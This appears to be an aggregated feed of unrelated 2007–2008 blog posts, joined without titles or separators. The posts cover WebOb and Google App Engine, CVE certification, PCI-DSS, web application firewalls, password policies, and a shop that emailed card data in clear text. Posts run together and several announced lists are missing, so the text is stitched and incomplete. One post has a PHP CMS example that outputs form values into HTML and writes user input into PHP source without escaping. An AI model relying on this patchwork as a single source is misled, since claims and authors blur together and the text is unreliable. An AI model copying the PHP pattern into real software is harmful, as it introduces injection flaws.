hg clone http://knowledgetap.com/hg/weberror/ cd weberror python setup.py develop # You need Paste trunk: easy_install Paste==dev python weberror/pdbcapture.py
What you’ll see is not polished, it’s just working, but since I mostly did it to see if I could do it, that’s good enough for me.
Some of the best security solutions come from people who have a passion for security and want to make the Internet a better/safer place. We started SecuriTeam as a place for people like us, who want to read security information that was collected, processed and edited. The OSVDB team wanted to answer the need for a standard, open catalog of information. Nmap, nessus, snort and many many other useful tools and projects were all passions that turned into something millions of security professionals use regularly.
And then there’s the money. Most of these projects need money to keep on going. The people behind them need to pay the bills. Sometimes just a little ad or sponsorship is enough, and other times the writers want to be compensated for their hard work and make a living (or get rich) from the project they gave so much time and energy to.
This is where the lines get blurry: Fyodor insists on keeping nmap open source and non-commercial. Tenable closed nessus in a very controversial move and SourceFire is able to carefully do the open-source/commercial tango with snort. In Beyond Security, we have a constant struggle on how to keep the commercial products and the community services separate, but in synergy. I don’t even know if we’re doing it right (but god knows we’re trying).
But other times the line isn’t blurry at all. Like watching a train wreck in slow motion, we are regularly seeing how a good project morphs into a twisted corporate disaster. PCI-DSS is probably the best example.
PCI-DSS started with the good idea of forcing web sites to check themselves for security holes on regular basis, a notion initiated by the credit card companies in an honest attempt to improve the security of web sites (since they had the most to lose; credit card fraud hurts the issuer no matter who ultimately pays for it). But this good idea went to bad and then to worse as the PCI-DSS went completely commercial - on one hand the organization wanted as many vendors to sign up for their PCI-DSS certification services so that they can make their money and on the other hand the web site operators were paying money to get the PCI certification without really caring what that meant as long as someone was willing to give it to them for some dough. Russ has a good writeup on where PCI-DSS is going. I agree with everything he’s saying.
And now there’s CVE - one of my favorite projects of all time. I know the project well, and we even got the “CVE Certification” a while back. True, not something that will help you get laid, but on the other hand getting the certification was one of the most pleasant experiences we had in that area. Nobody likes to be judged and thus nobody likes to be ‘certified’ by others - but the CVE certification process really wasn’t about ‘judging’ us. At least that’s not what it felt like.
This morning I asked the guys in Beyond Security who were involved in the certification process what made the good feeling that remained. Their answer was that people we talked to at Mitre weren’t sales people (CVE certification is free, they don’t even charge for the picture frames) but rather technical people from the CVE team that actually wanted CVE to be “good”. Talking to someone who both has a clue and cares enough to show it is the difference between Mastercard’s SDP and the new PCI-DSS.
So why am I worried about CVE which is still alive, kicking and putting some sanity in the dozens of weekly security hole announcements? Because just last week we got this:
Date: Wed, 7 May 2008 10:40:49
To: xxxxx@beyondsecurity.com
Cc:”Doe, Jane”
Subject: CVEXXXXX,
SAIC received confirmation from NIST that SCAP CVE and OVAL testing will be operational by the end of May 2008. By the end of this week, NIST will issue the updated requirements document that will add more requirements for CVE testing.When SCAP first went operational CVE and OVAL were deferred because the test requirements in those areas were not complete. Historically, MITRE conducted CVE testing. CVE testing has now transitioned over to SCAP laboratories.
If you desire further SCAP information or about CVE and OVAL testing, or a cost proposal, please contact me.
John Doe,
SAIC AT&E Laboratories Communications Director
410.XXX.XXXX
I’ve got to admit I had to read it a few times just to understand what they actually want (although I’m still not sure). Let me make a few wild speculations:
1. NIST will release an updated requirements to make sure all existing CVE certified products are no longer certified. It will not be exactly clear from the new requirements, so they will change the name to MVP just to make sure.
2. The new CVE will be a set of incomprehensible requirements for anyone without a law degree and will make the PCI requirements document look like a children’s book.
2. SAIC will suddenly realize they are not a not-for-profit organization and charge $10,000 for a CVE certification and a $7,500 renewal fee to cover the cost of the “SCAP” lab.
3. CVE certification will be open to everybody: Consultants will hurry to get “CVE certified” and while nobody will really know what that means, as soon as the check clears the certification plaque will be FedEx’d to them. Linkedin recruitment messages will read “need CVE expert to help pass a CVE certification test”.
4. John Doe from the email will call, mail and snail-mail to sign us up at “special terms” and “before the cost goes up”
5. Sponsorships to the annual CVE conference in San Francisco will sell like hotcakes. The MITRE team will not be invited, but the Director of Lab Services in SAIC will be the keynote speaker.
Of course, I’m probably wrong. Too much fiber for breakfast and not enough red meat for lunch makes me cranky and negative.
Here’s the more likely scenario: CVE certification will remain free and open and the SAIC guys doing the testing will be excellent security professionals who are regular bugtraq contributors. The PCI council will release the re-re-reclarification of section 6.6 of the PCI 1.1 and that re-re-reclarification will be a one-liner with no references to other requirements. The Ozone layer will heal and electric cars will roam the streets. Real soon now.
-
Is your site XSS Attacks safe? Signup for Beyond Security Vulnerability Scanner today!
My old do-it-yourself framework tutorial was getting a bit long in the tooth, so I rewrote it to use WebOb. Now: the new do-it-yourself framework.
It appears that a new WMF attack is coming, as you recall about a year back an WMF vulnerability was used on several high profile sites to infect visitors, this now appears to start happening again.
The first sign of this is the appearance of exploits for the vulnerability, starting off with version specific and evolving into a generic one.
The second sign is web sites being infect with hidden iframe that redirect to a javascript code that is at the moment dormant, or refers to non-existing domains.
The last stage is those javascripts getting modified, or the non-existing domains poping up into existing, you got yourself an infection.
It is time to start your vulnerability assessment engines, make sure all your windows based machines are tested, verify that your website passes a web site audit, and lastly get updated as this news item evolves.
So I promised some more technical discussion of App Engine than my last two posts. Here it is:
Google App Engine uses a somewhat CGI-like model. That is, a script is run, and it uses stdin/stdout/environ to handle the requests. To avoid the overhead of CGI a process can be reused by defining __main__.main(). But while a process can be reused, it might not be, and of course it might get run on an entirely separate server. So in many ways it’s like the CGI model, with a small optimization so that, particularly under load, your requests can run with less latency.
This part is all well and good. I’ve already come to terms with servers going up and down without warning. But the environment itself has a number of other restrictions. It seems that App Engine is providing security in the language itself. The interpreter has been modified so that code is sandboxed, with no ability to write to the disk, open sockets, import C extensions, and see quite a few things in its environment. It’s these things that are a bit harder to come to terms with.
While they claim it supports any Python framework, these restrictions don’t actually make it easy. So for the last few days quite a few of us have been hacking various things to get stuff working.
The first thing people noticed is that Mako and Genshi didn’t work, because they use the ast (via the parser module) to handle the templating, and that module has been restricted. Apparently arbitrary bytecode is not safe in this environment, and so anything that can produce bytecode is considered dangerous. From what I understand Philip Jenvy has been working on Mako and the trunk is currently working. He’d already been doing work to get Mako working on Jython, which had similar issues. Genshi is also in progress and fairly close to working, though with some missing features. Genshi has the harder task as Mako was primarily reading the ast, while Genshi was writing it.
The first thing I noticed is that Setuptools doesn’t work. I’m flattered that one of the only 3 libraries included with App Engine is WebOb, but of course I am more enamored of a rich set of reusable libraries. Setuptools didn’t work because several modules and functions have been removed — this like os.open, os.uname, imp.acquire_lock, etc. Some of these are kind of reasonable, while others are not. The removal of many functions from imp doesn’t really make sense, for instance (I think the motivation was the difficulty of auditing the implementation of those functions, not that the functionality itself is dangerous). And while some functions can’t be used in the environment, the fact you can’t import those functions is more problematic. For instance, The Setuptools’ pkg_resources module has support to unzip eggs when they are imported. App Engine doesn’t support importing from zip files at all, and you certainly can’t unzip to a temporary location. But withoutthe necessary modules and objects pkg_resources won’t even import.
To work around this I started a new project: appengine-monkey, which adds several monkeypatches and replacement dummy modules to the environment to simulate a more typical environment. It’s just a small list so far (mostly in this module), but I expect as people experiment with other libraries the list will increase. For example, I would welcome implementations of things like httplib on top of urlfetch in this library. (Implementing httplib and stubbing out parts of socket would probably make urllib run.)
But the good news is that Pylons is pretty much working on App Engine, as is Setuptools and you can manage your libraries using virtualenv.
The instructions are all located in the appengine-monkey Pylons wiki page. Please leave comments if you have improvements or problems with that process. I also welcome contributors and developers to the project itself — this is a project for expediting App Engine development, it is not a project I care to champion or control. Or support to any large degree.
One ticket which is rather important is the apparent maximum number of files and blobs: 1000. Libraries involve lots of files, and the base Pylons install is only barely under this limit. Now I just wish I could use lxml, but that’s probably going to be a long time coming.
I like this phrasing of the debate about App Engine’s role, from Doug Cutting: Cloud: commodity or proprietary? (via). (Well, I like it more than the sharecropping phrasing referenced in my last post.) I guess I’m excited about this because like Doug I do want a "cloud" of sorts, and this is a move towards that in a way that makes sense to me. Maybe to state my motivations more clearly: I hate computers. I really hate them a lot. I dream of some world of Platonic ideals where software just exists, and existence that state it works. App Engine feels like a strong move in the direction of computers-not-mattering. What does App Engine run on? I don’t care! Where is the server located? I don’t care! What is BigTable? I am comfortable thinking of it only in its abstract sense, an API that works, and I don’t know how, nor do I need to know how. I don’t need to know these things if they just work. Always. Totally reliably. I’m not shy about digging into code. I tend to be light on my reading of documentation, because I’d much rather open up source code and poke around. But when something can work so reliably that I can treat it as completely opaque then it’s a blessing, because I can start to forget about it and think about bigger goals.
There was a time when people were concerned about Big Endian vs. Little Endian in computers. You had to think about this sort of little detail when programming. People formed actual opinions on which way was best. To think! Similarly XML has removed a large number of fairly pointless format decisions people might make. There is progress. Commodity hosting (reliable, consistent hosting, better than what we have now) feels like similar progress.
Unlike Doug I’m optimistic that App Engine is a move in the direction of a commodity cloud. The APIs seem to lack the stench of proprietary APIs. They are based on Google services, but they reasonably abstract and reasonably minimal. This does not seem like some kind of "play" (and the developers’ seem to be reassuring about their intentions). There’s a tendency to be cynical about any company’s work, that it has underlying intentions that are at odds with any competitor (present or future), that anything good is just a loss leader meant to hook you in so they can squeeze you later. Some companies deserve such cynicism. I don’t know that this company, or this team, deserves that.
Mind you, I don’t say this from a Best-Tool-For-The-Job perspective. I believe in the moral foundations of Free Software, not just the technical advantages of its development process. But I’m a Utilitarian, and it doesn’t make me uncomfortable that not everything is Free if I think it’s a step forward for overall freedom. I think App Engine has the potential to be a very powerful tool for enabling people to create and use web applications. If it was great, but still a dead end, then maybe that wouldn’t be good enough. But I don’t think this is a dead end.
Update: Indeed people are reimplementing the interface: see the appdrop.com announcement
This is about Google App Engine which probably everyone has read about already.
I’m quite excited about it. Hosting has been the bane of the Python web world for a long time. This provides a very compelling hosting situation for Python applications.
I’m not as interested in this from a competitive perspective as I am from a simple this-is-awesome perspective. Regardless of how this positions Python relative to other languages, this is something Python needs. But even looking beyond that, I think this is something the open source world needs. Open source web development is in a funny place. There’s a lot of reasons why web programming is a good domain for open source. The barrier to entry for web development is extremely low. Developers have choice in their tools, as browsers don’t really care what software you use so long as you serve up HTML. This leads to experimentation and excitement and the kind of self-direction that is very motivating to developers. It leads to the kind of personal excitement that underlies most open source development.
Despite this, open source web application development doesn’t seem sustainable. There’s some applications, sure. WordPress, Trac, MediaWiki, MoinMoin. But most wiki software doesn’t have a vibrant community. Many a bug tracker has fallen by the wayside. Blog software projects have a horrible time building a viable community. Other website software hardly gets anywhere at all. A lot of the development that might appear to be application development really is more like a framework when you look closely (e.g., Plone, Drupal).
I think deployment concerns are a huge part of this. And, given its better deployment story, it’s no surprise PHP is the basis of most viable open source web applications. Being interested in a project requires that you be able to use the product (and usually use it casually, as that’s the point of entry for many developers). Right now most people can’t use open source web applications.
But people can use hosted applications, and that’s where all the effort has gone in the past few years. I am comfortable saying that Trac is a better issue tracker than Google Code’s issue tracker. But I’d probably recommend Google Code to someone starting a new project, because it’s so much less work. Similarly I’d try to dissuade most people from installing their own blog software. I still don’t know what to tell people about a CMS.
Many people are excited about how far up you might be able to scale something based on App Engine, but (like Dave) I’m excited about how far it could be scaled down. For the majority of sites the free quota will be more than enough. But that alone isn’t the point: there’s lots of free services people can use. The difference here is that the free services can be modified and controlled by the anyone who signs up and installs an application.
From the perspective of open source it’s a bit awkward that the platform itself is proprietary. Questions about sharecropping are a valid concern, but I’m optimistic about the ultimate outcome. The SDK is under a permissive open source license, and the APIs are all reasonable enough that they could be reimplemented with open source backends (maybe without the same scalability, but that’s not the aspect I care about anyway). Perhaps the BigTable APIs will serve as the basis for future storage APIs.
But even if other people make compatible implementations of these APIs, would it matter? If Google offers free hosting, is someone else really going to be able to provide a better hosting option? Or would these other implementations just be strawmen, a way to show that It Could Be Done? If the libraries are just written to prove a point, I can’t see them gaining much traction. But I think these could be viable as there are other constraints to the App Engine environment that people may want to escape at some point in their application development.
As to the details of App Engine? Can you run Pylons or Paste on it? Well, that’s a topic for another post.
Update: I wrote up some more thoughts
I just saw this json-rpc recipe go by as a popular link on del.icio.us. It’s yet-another-*Server based recipe (BaseHTTPServer, XMLRPCServer, etc). I don’t know why people keep writing these. WSGI is in all ways easier, clearer, and more useful.
So I figured I’d give it a go myself, using WebOb. Then I figured it might make a good document, and I annotated it and turned it into a tutorial. It’s also an example of using WebOb as a client library.
I’ve added several tutorials in the past months, which I thought I should also point out. The wiki example is fairly pedestrian, but shows how to do typical application-style development with WebOb. A more interesting exampe is the comment middleware example, which shows how much easier it can be to write middleware using WebOb than traditional WSGI middleware.
I think WebOb’s particular strong points are with middleware (where it makes middleware vastly easier to write) and web services of various kinds (RESTful or not).
SANS ISC has collected a very coverage list of April Fool’s Day stories.
It can be found here:
isc.sans.org/diary.html?storyid=4225
My own favorite is Gmail’s new Custom Time feature
A data model is the foundation of web application monitoring and, thus, key to successful utilisation of web application firewalls. We don't get to design the model; we can only deduct it from the information provided to us from the underlying technology. What we can do is build on it, and, for that reason, it is very important to understand what we have to work with.
An ideal model is one that helps structure the information available to us, allows us to enrich it with additional pieces of data and generally helps us raise events based on the information it contains.
The major parts of a web application monitoring data model are as follows:
Most of the components are easy to construct, mapping from the structures used in programming, but there are a few places where the technology does not support the view, or where what we are given is not what we want to see:
Note: This post is part of the Web Application Firewall Concepts series.
After some deliberation, I have decided to add Continuous security assessment as a standalone item on my web application firewall use cases list. Although some could argue the functionality is already covered in the Web intrusion detection and prevention section, it is not obvious—you have to understand this field in order to know it is there.
Continuous security assessment is not specific to web application firewalls—it's been used for the network layer for years—but web application firewalls are more useful for web applications (than IDS tools are for network applications), simply because there's essentially one data format to analyse (if you can call a bunch of loosely related specifications used by web applications "one" data format). With web applications, you get to see clear picture of application input and output. Therefore, with proper parsing and analysis in place, it's almost like having a direct communication channel with the application itself.
The focus here is not on the attacks and other suspicious client behaviour, which comes out of the stock IDS/IPS functionality, but on everything else:
and so on. The advantage is that you can detect some very subtle issues, only possible because of the depth of analysis.
Just as an extreme example, there are quite a few web applications out there where SQL injection (less often) and XSS (surprisingly common) exist by design—their clients are allowed and expected to send such low-level stuff and have it executed by the server. These types of problem can be detected early and with little effort, and because assessment never stops, you get the alert as soon as they are manifested.
Note: This post is part of the Web Application Firewall Concepts series.
It’s time to look the recent state of targeted attacks. Like we already know the main attack vector in these attacks is Microsoft Office attachment. There are no many organizations that simply can filter .DOC, .XLS and .PPT files.
In mid-January Microsoft confirmed that a new, previously unknown Excel vulnerability was used in targeted attacks. On Monday this week US-CERT issued a warning about the new wave of exploitation. This extremely critical vulnerability, rated ‘10.0′ by CVSS meter BTW, was known as header information code execution vulnerability.
The fix is included to today’s Excel Bulletin MS08-014. However, Microsoft says the following now:
What causes the vulnerability?
Microsoft Excel does not properly validate macro information when loading specially crafted Excel files.
In January we had a very small pieces of information related tho this vuln and Trojan exploiting it.
Information about the characteristics of these targeted attack can be read via my FAQ documents.
There are many reasons to use a web application firewall. Most people tend to focus on prevention and blocking when the term is brought up, but that is just one of the possible uses. Three years ago, almost to the day, I wrote this post to argue how one needs a WAF to serve as a part of the overall defence strategy. My opinion remains unchanged today, but I have since expanded the list of use cases for web application firewalls. Here they are:
I will expand on each use case in my future posts.
Note: This post is part of the Web Application Firewall Concepts series.
I went through all my ModSecurity Blog posts yesterday, partly to admire myself for blogging consistently for almost 5 years and partly to understand what is that I talked about during this time. While I knew that most of my posts were pretty technical (after all, I did start my new blog to focus on other things) imagine my surprise when I realised I didn't properly cover the one thing this blog is supposed to cover: web application firewalls! The emphasize is on the word "properly": I provided a great deal of technical information but not enough content that would explain why one would deploy a web application firewall and how. This stuff had went into my conference talks and the Web Application Firewall Evaluation Criteria project, but I forgot to discuss the topics here.
In an effort to fix this I am starting a series of blog posts called Web Application Firewall Concepts. Each post will be reasonably brief and cover one aspect of the technology, and I will continually update this post to serve as a table of contents.
Posts in this series:
Breach Labs which sponsors WHID has issued an analysis of the Web Hacking landscape in 2007 based on the incidents recorded at WHID. It took some time as we added the new attributes introduced lately to all 2007 incidents and mined the data to find the juicy stuff:
To be able to answer those questions, WHID tracks the following key attributes for each incident:
My bank forced me to change the login password again; they claim it’s an automated procedure that happens every 90 days, but I know that it actually waits for me to remember the password and then immediately forces me to change it.
When I went in to change it, I was reminded of the draconic rules: it has to be at least 6 characters, with at least 2 numbers and at least 2 uppercase and 2 lowercase. These guys went to the security by obstruction school, no doubt.
I decided to fight back. As I finally got around to remembering this awkward strange password I had to pick 90 days ago, I decided I’m staying with it. So I changed it to something else, which I had to write on a piece of paper for fear of forgetting within 30 seconds (if you saw memento, that movie is about me. And I try to always order beers in bottles since seeing it), and I then went to the ‘change password’ section to change it back to my awkward-but-conditioned-to-memory password.
Naturally, the bank was trying to set me straight. “You can’t change back to any of your last 5 passwords” it told me with a grinning smile, giving me the solution right there. As you can undoubtedly guess, I returned the favor by changing the password 5 times to different things and then changed it back to my old one. I win. Next round in 3 months.
People will always outsmart security systems that try to force them into making the ‘right’ decision. What I’ve done today (and I’m quite proud of it, thank you) is being done every day by people who use their CD-ROMs as coffee trays and have never used any
program that didn’t automatically run when double clicking an icon.
But here’s what is really bothering me: What exactly is the attack scenario here? I would like to see the statistics that show how many attackers actually manage to capture a username and password and only fail because they try to use it after 90 days. While these huge numbers are crunched, please put on the Y-axis how many attackers found the password on a post-it stuck to the monitor because the password is so complicated to remember.
Or maybe so many attackers brute force the password, obviously hundreds of millions of times every day for a single account since there is a clear an immediate need for a long and complicated password (BTW, if this attack is possible, someone should tell me how to do it. I’ve been locked out a few times for failing to type the password correctly within a few guesses. I need a few guesses because I didn’t remember which was the current password, which, as you remember, changes every 90 days).
Being the cynic that I am, and having read enough security policy documents, I can guess why the password policy is the way it is: it’s easy to explain and justify, and it makes sense when showing in a powerpoint slideshow. I once heard from a high-profile organization that due to a successful break-in to their network they decided to tighten up security: all passwords now had to be 9 characters instead of 8. I’m guessing someone was promoted for this genius action, and there’s still enough room to increase it further when the next break-in comes (now that’s thinking ahead).
How is a complex password policy bad? Let me count the ways; It makes your user you enemy instead of your ally. It distracts the security people from the real threat. It gives a false sense of security. It encourages your users to find flaws in your security system and use them. What else? I had more, but somebody just came in the door and I forgot.
A while back I was reading this post about creating a simple CMS in Grok. Similar to the author over there I often get questions from friends and family who want to build a simple website about what I’d recommend. I still haven’t figured it out. Most of the big names (Plone, Drupal, etc) feel too big and complex and not content-oriented enough. On the other hand, simple systems like Google Homepages are more like HTML editors and don’t really help with managing content.
I have a vision for something much, much simpler; but I’m not sure it’s a realistic vision. There’s always feature creep. If you implement something simple, what happens when someone wants something more complicated? Do you have to throw it out? That sucks. Do you have to implement the new feature? That’s not very simple.
Here’s what I wish existed:
At my last job we wrote a content management system, and one of the last features I added I found really clever; a kind of coding judo. We wanted to add structured page types — things like a news feature with dates summary paragraphs. Instead of adding a fancy structured page system (akin to Archetypes in Plone) I just had the system look for an edit form alongside where the page would go (which itself is just a static file). The edit form has the necessary fields, and when you save the page each field turns into a variable assignment. Then there’s a template that uses these assignments. In PHP you’d have something like this:
<? include('header.php'); ?>
<h1><? echo $page_title; ?></h1>
Posted on: <? echo $page_date ?><br />
<blockquote><? echo $page_summary ?></blockquote>
<div class="article"><? echo $page_article ?></div>
<? include('footer.php'); ?>
The edit form:
Title: <input type="text" name="title"><br /> Date: <input type="text" name="date"> (YYYY-mm-dd)<br /> Summary:<br /> <textarea name="summary"></textarea> <br /> Article:<br /> <textarea name="article"></textarea>
You would use Javascript to make this form fancy if you were so inclined; adding client-side validation (clients were trusted to submit valid data) or marking things for a WYSIWYG editor (usually just with class="wysiwyg" and rely on unobtrusive Javascript to enable it).
For new pages you just give the form. For editing a page you use htmlfill to fill in the form with existing values.
The thing that is saved looks like:
<?
# This page is automatically generated; do not edit directly!
$page_title = 'A Title';
$page_date = '2008-01-11';
$page_summary = 'A summarynetc';
$page_article = 'The Article';
include('article.php');
?>
The system would know how to parse variable assignments (to get values) and would parse the include statement to determine what editor would be used.
Extending this system required a knowledge of HTML and HTML forms, and a little knowledge of PHP (or SSIs would also work). It fit our company well, as there were quite a few people with that kind of knowledge who would interact with clients, and wouldn’t need to come to the programmers to extend the system. While I’d offer some advice on how to use the system, it was transparent enough that they could debug problems on their own.
This whole concept is not something I can justify spending time on, but it’s a CMS that I wish existed. It’s a CMS I could recommend to my friends.
Ophir put together a nice analysis on how much it would cost to break the security system of SmugMug.com.
This, in response to a bounty that is advertised on their web site.
I think he’s being generous. The really bad guys (people who make money from cybercrime) have access to countless of “free” machines; the crackers can easily break into a few boxes to use them for the attack Ophir describes. But mainly he’s being generous because he is giving them free security consulting, which is what they really need. Hey, SmugMug guys: a security contest is not a cheap replacement to an actual security audit (or consulting with an expert) just like bug bounties are not replacements for QA.
And only god knows why in 2007 the notion of my-url-is-so-long-nobody-will-guess-it is still alive. What do they teach in CS anyway?
One of the challenges facing organizations that need to increase the security of their web applications is to concretely provide appropriate "Return On Investment" (ROI) for procurement justification. Organizations can only allocate a finite amount of budget towards security efforts therefore security managers need to be able to justify any commercial services, tools and appliances they want to deploy. As most people who have worked in information security for an extended period of time know, producing tangible ROI for security efforts that address business driver needs is both quite challenging and critically important.
The challenge for security managers is to not focus on the technical intricacies of the latest complex web application vulnerability or attack. C-level Executives do not have the time, and in most instances the desire, to know the nuances of an HTTP Request Smuggling attack. That is what they are paying you for! Security managers need to function as a type of liaison where they can take data from the Subject Matter Experts (SMEs) and then translate that into a business value that is important to the C-level Executive.
One, almost guaranteed, pain point to most executives are vulnerability scan reports that are presented by auditors. The auditors are usually being brought in from and reporting to a higher-level third party (be it OMB in the Government or PCI for Retail). Executives like to see "clean vulnerability scan reports." While this will certainly not guarantee that your web application is 100% secure, it can certainly help to prove the counter-argument. And to make matters worse, nothing is more frustrating to upper Management than auditor reports list repeat vulnerabilities that either never go away or pull the "Houdini" trick (they disappear for awhile only to suddenly reappear). Sidebar - see Jeremiah Grossman's Blog post for examples of this phenomenon. These situations are usually attributed to breakdowns in the Software Development Life Cycle (SDLC) where code updates are too time consuming or the change control processes are poor.
This is one of the best examples of where a Web Application Firewall can prove its ROI.
At Breach Security, we receive many inbound calls from prospects who are interested in WAF technology but are lacking that "Big Stick" that helps convince upper management to actually make the purchase. The best scenario we have found is to suggest a "Before and After" comparison of a vulnerability scan report while they are testing the WAF on their network. The idea is to deploy the WAF in block mode and then initiate a rescan of a protected site. The difference in the reduction of findings is an immediate, quantitative ROI.
Here is a real example. One of our current customers followed this exact roadmap and this is a summary (slightly edited to remove sensitive information) of the information they sent back to us:
Our WAF is installed and running. I have tested its impact on www.example.com and it is operating very admirably. This morning I had the vulnerability scanning team run an on-demand scan to test the efficacy of the appliance, and I was very impressed with the results. Our previous metrics for www.example.com in the last scan were 64 vulnerabilities, across all outside IP addresses (including www.example.com, example2.com, example3.com, etc.) and with the Breach appliance in place, the metric from today's scan was 5 vulnerabilities, with details:
- High vulnerabilities dropped from 38 to 0
- Medium vulnerabilities dropped from 12 to 0
- 1 low vulnerability remains due to simply running a web server (we will eliminate this via exception)
- 1 low vulnerability due to a file/folder naming convention that is typical and attracts unwanted attacks (will be eliminated via rule addition)Bear in mind that I have applied the appliance with a basic (almost strictly out-of-the-box) configuration and ruleset to protect only www.example.com (192.168.1.100 in the report), and the 35 warnings that remain are for the other websites, and would similarly disappear when protected by the appliance. In my opinion, this was a very successful test that indicates the effectiveness of the appliance.
So, looking at the report after the WAF was in place, the www.example.com web site removed 38 high and 12 medium vulnerabilities and left only 2 low ones (which are really just informational notices). That is pretty darn good and that was just with the default, generic detection ModSecurity rule set! Hopefully this information has helped to provide a possible use-case testing scenario to show tangible ROI of a WAF.
In a future post, I will discuss how custom WAF rule sets can be implemented to address more complex vulnerability issues identified not by a scanner but by actual people who have performed a web assessment/pentest.
The recent Geeks.com compromise and subsequent articles have created a perfect storm of discussion topics and concerns related to web security. The underlying theme is that true web security encompasses much more than a Nessus scan from an external company.
The concepts (and much of the text) in this post are taken directly from a blog post by Richard Bejtlich on his TaoSecurity site. I have simply tailored the concepts specifically to web security. Thanks goes to Richard for always posting thought provoking items and making me look at web security through a different set of eyes. You know what they say about imitation ;)
The title of this post form the core of most of my recent thinking on web application security. Since I work for a commercial web application firewall company and am the ModSecurity Community Manager, I often get the chance to talk with people about web application security. While I am not a "sales" guy, I do hang out at our vendor booth when we are at conferences. I am mainly there to field technical questions and just interact with people. I have found that the title of this post is actually one of the absolute best questions to ask someone when they first come up to our booth. It always sparks interesting conversation and can shed light onto specific areas of strength and weakness.
What does it mean to be secure?
Obviously having logos posted on a web site that tout "we are secure" is really just a marketing tactic aimed to re-assure potential customer that it is safe to purchase goods at their site. The reality is that these logos are non-reliable and make no guarantee as to the real level of security offered by the web site. At best, they are an indication that the web site has met some sort of minimum standard. But that is a far cry from actually being secure.
Let me expand "secure" to mean the definition Richard provided in his first book: Security is the process of maintaining an acceptable level of perceived risk. He defined risk as the probability of suffering harm or loss. You could expand my six word question into are you operating a process that maintains an acceptable level of perceived risk for your web application?
Let's review some of the answers you might hear to this question. I'll give an opinion regarding the utility of the answer as well. For the purpose of this exercise let's assume it is possible to answer "yes" to this question. In other words, we just don't answer "no." We could all make arguments as to why it's impossible to be secure, but does that really mean there is no acceptable level of perceived risk in which you could operate? I doubt it. Let's take a look at the varios levels of responses.
So, is your website secure? Prove it.
1. Yes.
Then, crickets (i.e., silence for you non-imaginative folks.) This is completely unacceptable. The failure to provide any kind of proof is security by belief. We want security by fact. Think of it this way, would auditors accept this answer? Could you pass a PCI Audit by simply responding yeah, we are secure. Nope, you need to provide evidence.
2. Yes, we have product X, Y, Z, etc. deployed.
This is better, but it's another expression of belief and not fact. The only fact here is that technologies can be abused, subverted, and broken. Technologies can be simultaneously effective against one attack model and completely worthless against another.
This also reminds me of another common response I hear and that is - yes, we are secure because we use SSL. Ugh... Let me share with you one personal experience that I had with an "SSL Secured" website. Awhile back, I decided to make an online purchase of some herbal packs that can be heated in the microwave and used to treat sore muscles. When I visited the manufacturer's web site, I was dutifully greeted with a message "We are a secure web site! We use 128-bit SSL Encryption." This was reassuring as I obviously did not want to send my credit card number to them in clear text. During my checkout process, I decided to verify some general SSL info about the connection. I double-clicked on the "lock" in the lower-right hand corner of my web browser and verified that the domain name associated with the SSL certificate matched the URL domain that I was visiting, that it was signed by a reputable Certificate Authority such as VeriSign, and, finally, that the certificate was still valid. Everything seemed in order so I proceeded with the checkout process and entered my credit card data. I hit the submit button and was then presented with a message that made my stomach tighten up. The message is displayed next; however, I have edited some of the information to obscure both the company and my credit card data.
The following email message was sent:
To:companyname@aol.com From: RCBarnett@email.com Subject:ONLINE HERBPACK!!! name: Ryan Barnett address: 1234 Someplace Ct. city: Someplace state: State zip: 12345 phone#: Type of card: American Express name on card: Ryan Barnett card number: 123456789012345 expiration date: 11/05 number of basics: Number of eyepillows: Number of neckrings: 1 number of belted: 1 number of jumbo packs: number of foot warmers: 1 number of knee wraps: number of wrist wraps: number of keyboard packs: number of shoulder wrap-s: number of cool downz: number of hats-black: number of hats-gray: number of hats-navy: number of hats-red: number of hats-rtcamo: number of hats-orange: do you want it shipped to a friend: name: their address: their city: their state: their zip: cgiemail 1.6
I could not believe it. It looked as though they had sent out my credit card data in clear-text to an AOL email account. How could this be? They were obviously technically savvy enough to understand the need to use SSL encryption when clients submitted their data to their web site. How could they then not provide the same due diligence on the back-end of the process?
I was hoping that I was somehow mistaken. I saw a banner message at the end of the screen that indicated that the application used to process this order was called "cgiemail 1.6." I therefore hopped on Google and tried to track down the details of this application. I found a hit in Google that linked to the cgiemail webmaster guide. I quickly reviewed the contents and found what I was looking for in the "What security issues are there?" section:
Interception of network data sent from browser to server or vice versa via network eavesdropping. Eavesdroppers can operate from any point on the pathway between browser and server.
Risk: With cgiemail as with any form-to-mail program, eavesdroppers can also operate on any point on the pathway between the web server and the end reader of the mail. Since there is no encryption built into cgiemail, it is not recommended for confidential information such as credit card numbers.
Shoot, just as I suspected. I then spent the rest of the day contacting my credit card company about possible information disclosure and to place a watch on my account. I also contacted the company by sending an email to the same AOL address outlining the security issues that they needed to deal with. To summarize this story: Use of SSL does not a "secure site" make.
3. Yes, we are PCI compliant.
Generally speaking, regulatory compliance is usually a check-box paperwork exercise whose controls lag attack models of the day by one to five years, if not more. PCI is somewhat of an exception as it attempts to be more operationally relevant and address more current web application security issues. While there are some admirable aspects of PCI, please keep this mantra in mind -
It is much easier to pass a PCI audit if you are secure than to be secure because you pass a PCI audit.
PCI, like most other regulations, are a minimum standard of due care and passing the audit does make your site "unhackable." A compliant enterprise is like feeling an ocean liner is secure because it left dry dock with life boats and jackets. If regulatory compliance is more than a paperwork self-survey, we approach the realm of real of evidence. However, I have not seen any compliance assessments which measure anything of operational relevance. Check out Richard's Blog posts on Control-Compliant security for more details on this concept and why it is inadequate. What we really need is more of a "Field-Assessed" mode of evaluation. I will discuss this concept more in depth in future Blog posts.
4. Yes, we have logs indicating we prevented web attacks X, Y, and Z (SQL Injection, XSS, etc...).
This is getting close to the right answer, but it's still inadequate. For the first time we have some real evidence (logs) but these will probably not provide the whole picture. I believe that how people deploy and use a WAF is critical. Most people deploy a WAF in an "alert-centric" configuration which will only provide logs when a rule matches. Sure, these alert logs indicate what was identified and potentially stopped, but what about activities that were allowed? Were they all normal, or were some malicious but unrecognized by the preventative mechanism? Deploying a WAF as an HTTP level auditing device is a highly under-utilized deployment option. There is a great old quote that sums up this concept -
"In an incident, if you don't have good logs (i.e. auditing), you'd better have good luck."
5. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns.
Some would call this rationale the definition of security. Whether or not this answer is acceptable depends on the nature of the indications. If you have no indications because you are not monitoring anything, then this excuse is hollow. If you have no indications and you comprehensively track the state of a web application, then we are making real progress. That leads to the penultimate answer, which is very close to ideal.
6. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns, and we thoroughly collect, analyze, and escalate a variety of network-, host-, and web application-based evidence for signs of violations.
